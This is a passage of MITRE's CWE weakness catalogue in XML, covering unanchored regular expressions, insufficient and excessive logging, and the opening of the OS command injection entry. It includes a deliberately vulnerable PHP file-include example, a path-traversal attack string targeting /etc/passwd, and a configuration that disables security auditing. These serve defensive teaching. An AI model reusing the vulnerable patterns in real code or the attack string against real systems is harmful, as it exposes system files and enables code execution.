						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>625</Relationship_Target_ID>
					          <!--Permissive Regular Expression-->
				</Relationship>
			      </Relationships>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Regular expressions are typically used to match a pattern of text. Anchors
						are used in regular expressions to specify where the pattern should match:
						at the beginning, the end, or both (the whole input).</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An unanchored regular expression in the context of a whitelist will
							possibly result in a protection mechanism failure, allowing malicious or
							malformed data to enter trusted regions of the program. The specific
							consequences will depend on what functionality the whitelist was
							protecting.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Be sure to understand both what will be matched and what will not be
							matched by a regular expression. Anchoring the ends of the expression
							will allow the programmer to define a whitelist strictly limited to what
							is matched by the text in the regular expression. If you are using a
							package that only matches one line by default, ensure that you can match
							multi-line inputs if necessary.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Consider a web application that supports multiple languages. It
						selects messages for an appropriate language by using the lang
						parameter.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$dir = "/home/cwe/languages";</Code>
							              <Code>$lang = $_GET['lang'];</Code>
							              <Code>if (preg_match("/[A-Za-z0-9]+/", $lang)) {</Code>
							              <Block>
								                <Code>include("$dir/$lang");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>echo "You shall not pass!\n";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The previous code attempts to match only alphanumeric values so that
							language values such as "english" and "french" are valid while also
							protecting against path traversal, CWE-22. However, the regular
							expression anchors are omitted, so any text containing at least one
							alphanumeric character will now pass the validation step. For example,
							the attack string below will match the regular expression.</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>If the attacker can inject code sequences into a file, such as the web
							server's HTTP request log, then the attacker may be able to redirect the
							lang parameter to the log file and execute arbitrary code.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-06-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="778" Name="Insufficient Logging" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>When a security-critical event occurs, the software either does
					not record the event or omits important details about the event when logging
					it.</Description_Summary>
				        <Extended_Description>
					          <Text>When security-critical events are not logged properly, such as a failed
						login attempt, this can make malicious behavior more difficult to detect and
						may hinder forensic analysis after an attack succeeds.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>223</Relationship_Target_ID>
					          <!--Omission of Security-relevant Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If security critical information is not recorded, there will be no
							trail for forensic analysis and discovering the cause of problems or the
							source of attacks may become more difficult or impossible.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a centralized logging mechanism that supports multiple levels of
							detail. Ensure that all security-related successes and failures can be
							logged.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Be sure to set the level of logging appropriately in a production
							environment. Sufficient data should be logged to enable system
							administrators to detect attacks, diagnose errors, and recover from
							attacks. At the same time, logging too much data (CWE-779) can cause the
							same problems.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The example below shows a configuration for the service security
						audit feature in the Windows Communication Foundation (WCF). </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;system.serviceModel&gt;</Code>
							              <Block>
								                <Code>&lt;behaviors&gt;</Code>
								                <Block>
									                  <Code>&lt;serviceBehaviors&gt;</Code>
									                  <Block>
										                    <Code>&lt;behavior name="NewBehavior"&gt;</Code>
										                    <Block>
											                      <Code>&lt;serviceSecurityAudit
												auditLogLocation="Default"</Code>
											                      <Code>suppressAuditFailure="false"</Code>
											                      <Code>serviceAuthorizationAuditLevel="None"</Code>
											                      <Code>messageAuthenticationAuditLevel="None"
												/&gt;</Code>
											                      <Code>...</Code>
										                    </Block>
									                  </Block>
								                </Block>
							              </Block>
							              <Code>&lt;/system.serviceModel&gt;</Code>
						            </Block>
						            <Text>The previous configuration file has effectively disabled the recording
							of security-critical events, which would force the administrator to look
							to other sources during debug or recovery efforts.</Text>
						            <Text>Logging failed authentication attempts can warn administrators of
							potential brute force attacks. Similarly, logging successful
							authentication events can provide a useful audit trail when a legitimate
							account is compromised. The following configuration shows appropriate
							settings, assuming that the site does not have excessive traffic, which
							could fill the logs if there are a large number of success or failure
							events (CWE-779).</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;system.serviceModel&gt;</Code>
							              <Block>
								                <Code>&lt;behaviors&gt;</Code>
								                <Block>
									                  <Code>&lt;serviceBehaviors&gt;</Code>
									                  <Block>
										                    <Code>&lt;behavior name="NewBehavior"&gt;</Code>
										                    <Block>
											                      <Code>&lt;serviceSecurityAudit
												auditLogLocation="Default"</Code>
											                      <Code>suppressAuditFailure="false"</Code>
											                      <Code>serviceAuthorizationAuditLevel="SuccessAndFailure"</Code>
											                      <Code>messageAuthenticationAuditLevel="SuccessAndFailure"
												/&gt;</Code>
											                      <Code>...</Code>
										                    </Block>
									                  </Block>
								                </Block>
							              </Block>
							              <Code>&lt;/system.serviceModel&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4315</Observed_Example_Reference>
					          <Observed_Example_Description>server does not log failed authentication
						attempts, making it easier for attackers to perform brute force password
						guessing without being detected</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1203</Observed_Example_Reference>
					          <Observed_Example_Description>admin interface does not log failed authentication
						attempts, making it easier for attackers to perform brute force password
						guessing without being detected</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3730</Observed_Example_Reference>
					          <Observed_Example_Description>default configuration for POP server does not log
						source IP or username for login attempts</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1225</Observed_Example_Reference>
					          <Observed_Example_Description>proxy does not log requests without "http://" in
						the URL, allowing web surfers to access restricted web content without
						detection</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1566</Observed_Example_Reference>
					          <Observed_Example_Description>web server does not log requests for a
						non-standard request type</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Accountability", Page 40.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-07-02</Submission_Date>
				        </Submission>
				        <Contribution Contribution_Mode="Content">
					          <Contribution_Organization>Fortify Software</Contribution_Organization>
					          <Contribution_Date>2009-07-02</Contribution_Date>
					          <Contribution_Comment>Provided code example and additional information for
						description and consequences.</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="779" Name="Logging of Excessive Data" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software logs too much information, making log files hard
					to process and possibly hindering recovery efforts or forensic analysis after an
					attack.</Description_Summary>
				        <Extended_Description>
					          <Text>While logging is a good practice in general, and very high levels of
						logging are appropriate for debugging stages of development, too much
						logging in a production environment might hinder a system administrator's
						ability to detect anomalous conditions. This can provide cover for an
						attacker while attempting to penetrate a system, clutter the audit trail for
						forensic analysis, or make it more difficult to debug problems in a
						production environment.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>400</Relationship_Target_ID>
					          <!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>199</Relationship_Target_ID>
					          <!--Information Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Log files can become so large that they consume excessive resources,
							such as disk and CPU, which can hinder the performance of the
							system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Logging too much information can make the log files of less use to
							forensics analysts and developers when trying to diagnose a problem or
							recover from an attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If system administrators are unable to effectively process log files,
							attempted attacks may go undetected, possibly leading to eventual system
							compromise.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Suppress large numbers of duplicate log messages and replace them with
							periodic summaries. For example, syslog may include an entry that states
							"last message repeated X times" when recording repeated events.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Support a maximum size for the log file that can be controlled by the
							administrator. If the maximum size is reached, the admin should be
							notified. Also, consider reducing functionality of the software. This
							may result in a denial-of-service to legitimate software users, but it
							will prevent the software from adversely impacting the entire
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Adjust configurations appropriately when software is transitioned from
							a debug state to production.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0421</Observed_Example_Reference>
					          <Observed_Example_Description>server records a large amount of data to the
						server log when it receives malformed headers</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1154</Observed_Example_Reference>
					          <Observed_Example_Description>chain: application does not restrict access to
						front-end for updates, which allows attacker to fill the error
						log</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-07-02</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="78" Name="Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software constructs all or part of an OS command using
					externally-influenced input from an upstream component, but it does not
					neutralize or incorrectly neutralizes special elements that could modify the
					intended OS command when it is sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>This could allow attackers to execute unexpected, dangerous commands
						directly on the operating system. This weakness can lead to a vulnerability
						in environments in which the attacker does not have direct access to the
						operating system, such as in web applications. Alternately, if the weakness
						occurs in a privileged program, it could allow the attacker to specify
						commands that normally would not be accessible, or to call alternate
						commands with privileges that the attacker does not have. The problem is
						exacerbated if the compromised process does not follow the principle of
						least privilege, because the attacker-controlled commands may run with
						special system privileges that increases the amount of damage.</Text>
					          <Text>There are at least two subtypes of OS command injection:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>The application intends to execute a single, fixed program that is
							under its own control. It intends to use externally-supplied inputs as
							arguments to that program. For example, the program might use
							system("nslookup [HOSTNAME]") to run nslookup and allow the user to
							supply a HOSTNAME, which is used as an argument. Attackers cannot
							prevent nslookup from executing. However, if the program does not remove
							command separators from the HOSTNAME argument, attackers could place the
							separators into the arguments, which allows them to execute their own
							program after nslookup has finished executing.</Text>
						            <Text>The application accepts an input that it uses to fully select which
							program to run, as well as which commands to use. The application simply
							redirects this entire command to the operating system. For example, the
							program might use "exec([COMMAND])" to execute the [COMMAND] that was
							supplied by the user. If the COMMAND is under attacker control, then the
							attacker can execute arbitrary commands or programs. If the command is
							being executed using functions like exec() and CreateProcess(), the
							attacker might not be able to combine multiple commands together in the
							same line.</Text>
					          </Block>
					          <Text>From a weakness standpoint, these variants represent distinct programmer
						errors. In the first variant, the programmer clearly intends that input from
						untrusted parties will be part of the arguments in the command to be
						executed. In the second variant, the programmer does not intend for the
						command to be accessible to any untrusted party, but the programmer probably
						has not accounted for alternate ways in which malicious attackers can
						provide input.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>77</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in a Command ('Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>88</Relationship_Target_ID>
					          <!--Argument Injection or Modification-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>714</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A3 - Malicious File Execution-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>744</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>810</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A1 - Injection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Shell injection</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Shell metacharacters</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>The "OS command injection" phrase carries different meanings to different
						people. For some, it refers to any type of attack that can allow the
						attacker to execute OS commands of his or her choosing. This usage could
						include untrusted search path weaknesses (CWE-426) that cause the
						application to find and execute an attacker-controlled program. For others,
						it only refers to the first variant, in which the attacker injects command
						separators into arguments for an application-controlled program that is
						being invoked. Further complicating the issue is the case when argument
						injection (CWE-88) allows alternate command-line switches or options to be
						inserted into the command line, such as an "-exec" switch whose purpose may
						be to execute the subsequent argument as a command (this -exec switch exists
						in the UNIX "find" command, for example). In this latter case, however,
						CWE-88 could be regarded as the primary weakness in a chain with
						CWE-78.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Attackers could execute unauthorized commands, which could then be
							used to disable the software, or read and modify data for which the
							attacker does not have permissions to access directly. Since the
							targeted application is directly executing the commands instead of the
							attacker, any malicious activities may appear to come from the
							application or the application's owner.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
						            <Text>Automated static analysis might not be able to recognize when proper
							input validation is being performed, leading to false positives - i.e.,
							warnings that do not have any security consequences or require any code
							changes.</Text>
						            <Text>Automated static analysis might not be able to detect the usage of
							custom API functions or third-party libraries that indirectly invoke OS
							commands, leading to false negatives - especially if the API/library
							code is not available for analysis.</Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text>This is not a perfect solution, since 100% accuracy and coverage are
							not feasible.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-10">
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Since this weakness does not typically appear frequently within a
							single software package, manual white box techniques may be able to
							provide sufficient code coverage and reduction of false positives if all
							potentially-vulnerable operations can be assessed within limited time
							constraints.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If at all possible, use library calls rather than external processes
							to recreate the desired functionality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
